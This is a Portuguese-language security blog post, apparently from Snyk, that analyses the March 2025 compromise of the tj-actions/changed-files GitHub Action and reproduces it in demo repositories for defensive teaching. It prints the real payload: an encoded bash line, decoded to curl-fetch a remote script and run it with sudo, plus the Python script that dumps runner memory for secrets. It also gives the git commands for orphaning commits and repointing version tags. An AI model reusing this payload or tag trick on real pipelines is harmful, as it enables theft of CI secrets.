Skip to main content

Como reconstruir o comprometimento da GitHub Action Changed Files da TJ

Escrito por

17 de março de 2025

0 minutos de leitura

Na tarde de sexta-feira, 14 de março de 2025, começaram a surgir detalhes sobre uma grave exploração de segurança em uma popular GitHub Action chamada changed files (tj-actions/changed-files). Cerca de 23 mil repositórios do GitHub usam essa Action em seus fluxos de trabalho de CI e DevOps. Ela permite acompanhar quais arquivos foram alterados entre branches e commits.

Um invasor com privilégios de gravação no repositório da Action fez um commit que fez com que segredos criptografados aparecessem em texto simples nos logs do GitHub Actions. Isso poderia causar uma violação devastadora em um repositório público, onde os logs da Action também são públicos.

Primeiro, queremos tranquilizar nossos clientes: a Snyk concluiu uma avaliação da nossa infraestrutura e podemos confirmar que não usamos uma versão afetada da biblioteca vulnerável. Portanto, a Snyk está protegida contra essa vulnerabilidade. 

Dito isso, queremos apresentar a análise aprofundada da vulnerabilidade feita pela Snyk, explicar como ela funciona e compartilhar medidas práticas para corrigi-la — o foco deste artigo.

Até o momento, não se sabe por que o invasor tinha permissões de gravação no repositório que hospeda o código dessa GitHub Action. Mas os principais fatores que viabilizaram o ataque, além das permissões de gravação, foram:

  • Alterar tags de versão existentes para apontar para o commit do ataque

  • Manter o commit do ataque órfão de qualquer branch, inclusive da branch principal

Esses fatores ajudaram a ocultar o ataque. Ele dependia de uma chamada de rede externa para baixar o código malicioso, o que acabou chamando a atenção de serviços que monitoram atividades de rede anômalas.

No fim deste artigo, reproduzo o ataque (de forma inofensiva) para você entender melhor como ele foi possível e como se proteger.

Sobre commits órfãos do Git

Experimente fazer o seguinte. Crie um novo repositório no GitHub e clone-o localmente. Crie uma branch e envie-a para o GitHub. Anote o hash do commit. Em seguida, exclua a branch remota. Você ainda poderá acessar esse commit, embora ele não esteja mais associado a nenhuma branch existente.

Veja as etapas descritas acima:

1. Crie um repositório no GitHub

2. Crie um repositório local e adicione o repositório remoto do GitHub que você acabou de criar

echo "# orhpan-branch-test" >> README.md
git init
git add README.md
git commit -m "first commit"
git branch -M main
git remote add origin git@github.com:dogeared/orhpan-branch-test.git
git push -u origin main

3. Crie uma branch

git checkout -b orphan

4. Adicione um commit e envie-o

echo hello > hello.txt
git add -A .
git commit -m "hello"
git push origin orphan

5. Anote o commit no GitHub

https://github.com/dogeared/orhpan-branch-test/commit/c7e359462f6afc144d7b4da6eb277d0338c675c9
Página de commit do GitHub para o commit "hello" c7e3594, na branch "orphan", no repositório "orhpan-branch-test".

6. Exclua a branch no GitHub

Captura de tela da seção “Seus branches” em um repositório do GitHub, mostrando o branch “orphan” marcado como “Excluído agora”, com status de 1 commit à frente.

7. Acesse a URL do commit que você anotou acima

Captura de tela da página de commit do GitHub para c7e3594 com o aviso: "Este commit não pertence a nenhuma branch deste repositório..." e a mensagem de commit "hello".

É assim que se parece uma branch órfã. Esse é um dos principais fatores que viabilizaram a exploração do fluxo de trabalho da GitHub Action changes-files.

O outro fator importante foi mover as tags de versão pelo repositório.

Sobre as tags de versão do GitHub

Infelizmente, às vezes desenvolvedores atribuem poderes quase mágicos às tags de versão do GitHub. Se nos dizem para usar a versão v35 de uma determinada release, referenciamos essa tag e presumimos que é isso que vamos obter. Em condições normais, essa é uma suposição razoável, mas as tags do GitHub são apenas strings convenientes que apontam para um commit específico — nada de mágico, mesmo com o uso cuidadoso de versionamento semântico. Veja um exemplo parcial de um arquivo YAML de GitHub Action que referencia a Action changes-files:

name: "tj-action changed-files"

on:
  pull_request:
    branches:
      - main

permissions:
  pull-requests: read

jobs:
  changed_files:
    runs-on: ubuntu-latest
    name: Test changed-files
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@v35

O ponto crucial está na última linha, que referencia uma tag específica do repositório da GitHub Action. O invasor excluiu as tags de versão originais e as transferiu para o commit malicioso, que era o commit órfão. Ao redirecionar várias tags de versão existentes para seu commit malicioso, o invasor ampliou o impacto do ataque.

Posso demonstrar isso dando continuidade ao exemplo anterior. Na minha máquina local, vou criar uma tag para a branch em que estou trabalhando:

git tag v35
git push --tags

No GitHub, o que acontece é que uma tag passa a ser associada ao commit órfão. Posso acessar:

https://github.com/dogeared/orhpan-branch-test/tree/v35

Em seguida, vejo isto:

Captura de tela da lista de commits de um repositório do GitHub com o aviso: "Este commit não pertence a nenhuma branch...", mostrando os commits "hello" e "first commit" do usuário "dogeared".

Assim, o invasor poderia direcionar as pessoas ao commit malicioso simplesmente atualizando o repositório do código da GitHub Action changed-files.

Em resumo, um agente malicioso tinha acesso de gravação a um repositório do qual outros 23 mil repositórios dependiam. Embora o invasor tenha encontrado uma forma engenhosa de ocultar suas ações, não teria conseguido realizar o ataque sem esse acesso de gravação.

Vamos analisar mais de perto o que o invasor queria obter. 

Sobre o vazamento de segredos

Muitas vezes, são necessários segredos para criar scripts que interajam com outros serviços ou fornecer as chaves necessárias para compilar e executar testes.

O GitHub conta com um esquema sofisticado de criptografia para gerenciar segredos. Você pode definir um segredo no nível do repositório Git e acessá-lo no script de compilação sem que ele apareça nos logs de compilação ou seja exposto. Nos bastidores, o GitHub descriptografa e usa o segredo como referência no seu script de compilação. Na prática, uma linha do arquivo YAML da sua GitHub Action pode ser parecida com esta: 

steps:
  - name: Hello world action
    with: # Set the secret as an input
      super_secret: ${{ secrets.SuperSecret }}

O restante do script passa a ter acesso ao segredo, sem que ele precise aparecer no próprio script ou nos logs.

O invasor modificou a GitHub Action changed-files da TJ para baixar um script de um local remoto, salvá-lo em um arquivo local na máquina virtual em que a GitHub Action estava sendo executada e, em seguida, executá-lo. Isso foi feito em duas etapas. A primeira foi o commit malicioso e órfão, que já foi excluído. Veja o trecho principal desse commit do Git:

async function updateFeatures(token) {
     const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
         ignoreReturnCode: true,
         silent: true
     });
     core.info(stdout);   
 }

Se você decodificar a longa string acima com Base64 (como o script faz), verá:

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

O gist referenciado foi removido, mas este é o script em Python que estava lá:

#!/usr/bin/env python3

import os
import sys
import re

def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')

if __name__ == "__main__":
    pid = get_pid()
    print(pid)

    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # for each mapped region
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
            if m.group(3) == 'r':  # readable region
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)
                # hotfix: OverflowError: Python int too large to convert to C long
                # 18446744073699065856
                if start > sys.maxsize:
                    continue
                mem_f.seek(start)  # seek to region start

                try:
                    chunk = mem_f.read(end - start)  # read region contents
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    continue

O script acima, executado como root com o comando sudo, examina a memória dos processos para encontrar os segredos descriptografados e exibi-los no log do Actions. Isso é extremamente prejudicial, pois os logs do GitHub Actions em repositórios públicos do GitHub também são públicos por definição.

Uma publicação no Hacker News (disponível aqui), publicada em 14 de março, indicou que a exploração havia sido detectada pela StepSecurity, um serviço que monitora chamadas de rede não autorizadas no GitHub Actions, entre outras atividades. O autor e mantenedor da popular GitHub Action comentou na publicação e explicou o que aconteceu. O primeiro problema que ele apontou foi o fato de o invasor ter acesso de gravação ao repositório.

Graças à rápida descoberta da exploração e à agilidade do mantenedor, ela foi corrigida e bloqueada rapidamente. Ainda assim, recomenda-se que usuários da GitHub Action changed-files verifiquem os logs desde 14 de março para garantir que nenhum segredo tenha sido exposto em um log público do Actions.

A exploração em ação

Criei um conjunto de repositórios para demonstrar essa exploração, configurados da forma mais próxima possível do ambiente do invasor.

O primeiro repositório Git define a GitHub Action personalizada: tj-changed-files-action-goof.

O arquivo index.js é simples e foi, em grande parte, baseado no tutorial do GitHub sobre como criar Actions:

const core = require('@actions/core');
const github = require('@actions/github');

(async function run() {
  try {
    // `who-to-greet` input defined in action metadata file
    const nameToGreet = core.getInput('who-to-greet');
    console.log(`Hello ${nameToGreet}!`);
    const time = (new Date()).toTimeString();
    core.setOutput("time", time);
  } catch (error) {
    core.setFailed(error.message);
  }
})();

Ele espera uma entrada chamada who-to-greet e envia a data e a hora como saída.

O outro repositório tem apenas um arquivo: um arquivo YAML configurado para executar a GitHub Action personalizada. Ele também tem um segredo definido no repositório, chamado A_SECRET. O repositório se chama tj-changed-files-action-exploit-goof. No arquivo .github/workflows/main.yml, você verá o seguinte:

name: CI

on:
 "main" branch
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]

  workflow_dispatch:

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - name: Run a one-line script
        run: echo Hello, world!

      - name: A Goof Step
        id: goof
        uses: snyk-labs/tj-changed-files-action-goof@v1.0
        with:
          a_secret: ${{ secrets.A_SECRET }}
          who-to-greet: 'dogeared'

      - name: Get the output time
        run: echo "The time was ${{ steps.goof.outputs.time }}"

Ele faz algumas coisas:

  1. Exibe uma mensagem "Hello, world!"

  2. Executando a GitHub Action tj-changed-files-action-goof

  3. Exibe a hora retornada pela Action. Também usa o segredo do repositório da forma esperada em uma GitHub Action.

Compare a saída de A Goof Step em duas execuções diferentes. Primeiro, esta: 

Run snyk-labs/tj-changed-files-action-goof@v1.0
  with:
    a_secret: ***
    who-to-greet: dogeared
Hello dogeared!

Em seguida, esta:

Run snyk-labs/tj-changed-files-action-goof@v1.0
  with:
    a_secret: ***
    who-to-greet: dogeared
SWtGZlUwVkRVa1ZVSWpwN0luWmhiSFZsSWpvaVUzVndaWElnVTJWamNtVjBJRk5sWTNKbGRDRWlMQ0pwYzFObFkzSmxkQ0k2ZEhKMVpYMEs=

Hello dogeared!

Nas duas execuções, a GitHub Action snyk-labs/tj-changed-files-action-goof@v1.0 está sendo executada. Na segunda, você pode ver a saída da GitHub Action comprometida. Se decodificarmos a string codificada em Base64 duas vezes, veremos: 

"A_SECRET":{"value":"Super Secret Secret!","isSecret":true}

Nas duas execuções, você pode ver que o GitHub Actions protege o valor do segredo quando ele é referenciado: a_secret: ***. No entanto, o código da exploração extrai os valores em texto simples dos segredos diretamente da memória do sistema.

Se voltarmos à tag v1.0 do repositório tj-changed-files-action-goof, veremos uma branch órfã semelhante à da exploração original:

Captura de tela da lista de arquivos do repositório do GitHub “tj-changed-files-action-goof”, com o aviso: “Este commit não pertence a nenhuma branch...”, mostrando arquivos como “action.yml” e “index.js” e a tag “v1.0” selecionada.

Inicialmente, v1.0 apontava para a branch main. Mas, ao simular a exploração, simplesmente redirecionei a tag para uma branch attack, que depois deixei órfã:

git push origin :v1.0 # delete the original tag on main
git tag -d v1.0 # delete the local tag
git checkout -b attack # create the attack branch

# update index.js to include the malicious code

ncc build index.js # create a new version of dist/index.js
git add dist/index.js
git commit -m "attack"
git push origin attack # push the attack branch up to GitHub
git tag v1.0 # put the v1.0 tag on the attack branch
git push origin --tags # push the v1.0 tag to GitHub
git push origin :attack 
# ^^ DELETE the attack branch on GitHub making the v1.0 tag orphaned

O último detalhe — fácil de passar despercebido — é o comando ncc build index.js. Ele atualiza o arquivo dist/index.js, e somente esse arquivo atualizado é incluído no commit. É o arquivo dist/index.js, empacotado para a web, que a GitHub Action realmente executa. Por isso, se você olhar o arquivo index.js na branch v1.0 (órfã), não vai parecer que nada mudou.

Veja o diff do código webpack em dist/index.js na versão v1.0, em comparação com a branch main.

Proteja suas GitHub Actions

Tenho certeza de que mais detalhes virão à tona sobre como ou por que o invasor tinha acesso de gravação a esse popular repositório de GitHub Action.

É comum usar tags do Git como versões de referência para as diversas bibliotecas das quais dependemos. 

Há algumas maneiras de evitar essa exploração específica.

1. Em GitHub Actions personalizadas e remotas, referencie o hash do commit diretamente

Por exemplo, você poderia:

uses: snyk-labs/tj-changed-files-action-goof@6eb82f8276131aa04985f48b1d74e020133e22e5

Isso referencia diretamente o hash do commit, em vez de uma tag. Essa prática não é comum, mas garante que a versão executada da GitHub Action personalizada seja a versão esperada.

2. Use outras GitHub Actions personalizadas para sinalizar chamadas de rede inesperadas. Foi assim que a StepSecurity detectou a exploração.

É animador ver uma comunidade de colaboradores de código aberto, empresas e pessoas se mobilizando para detectar e corrigir novas explorações assim que elas surgem, como aconteceu neste caso.

A Snyk já publicou pesquisas e boas práticas sobre GitHub Actions que recomendamos fortemente que você conheça e use para avaliar suas práticas de DevSecOps e segurança:

Conheça o cenário atual da segurança de código aberto

Entenda as tendências e abordagens atuais para proteger softwares de código aberto e a cadeia de suprimentos.